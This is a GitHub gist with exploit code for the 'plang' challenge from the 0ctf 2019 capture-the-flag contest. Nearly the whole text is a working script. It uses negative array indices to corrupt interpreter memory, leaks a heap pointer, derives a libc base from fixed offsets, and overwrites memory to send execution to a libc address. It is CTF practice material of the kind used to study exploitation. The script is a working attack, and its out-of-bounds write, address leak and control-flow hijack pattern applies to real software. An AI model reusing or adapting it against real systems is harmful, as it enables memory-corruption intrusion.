Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@mak
Created March 27, 2019 11:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mak/5b8aff95db05c54a65ff4dc9b9b393c9 to your computer and use it in GitHub Desktop.
Save mak/5b8aff95db05c54a65ff4dc9b9b393c9 to your computer and use it in GitHub Desktop.
exploit of plang chall from 0ctf2019
fun int2double(xint) { var i = 0 while(i< 1074) { xint = xint / 2 i = i + 1} return xint }
fun double2int(xd) { var i = 0 while(i< 1074) { xd = xd + xd i = i + 1} return xd }
fun shift(xint,x) { var i = 0 while(i<x) { xint = xint + xint i = i + 1} return xint }
var c = -30
var x = -114
var y = -115
var a = [101,1,1,1,1,1,1,1,1,1]
var b = [1011,2,"chuj",3,4]
b[c] = 101.00000023748726
b[x] = int2double(0xdeadbeef)
c = (b[2].byteAt_(59)<<24) | (b[2].byteAt_(58)<<16) | (b[2].byteAt_(57)<<8) | b[2].byteAt_(56)
c = c + shift(b[2].byteAt_(60),32)
c = c + shift(b[2].byteAt_(61),40)
c = c - 0xf990
c = c - 8
System.print(c)
b[y] = int2double(c)
a[0] = int2double(4)
c = c + 8
b[y] = int2double(c)
var libc = double2int(a[0]) - 0x1beb20
System.print(libc)
c = c + 0x95c8
c = c -8
b[y] = int2double(c)
a[0] = int2double(libc + 0xe7660)
c = c - 8
b[y] = int2double(c)
a[0] = int2double(1)
c = c + 8
b[y] = int2double(c)
System.print(Num.pi)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment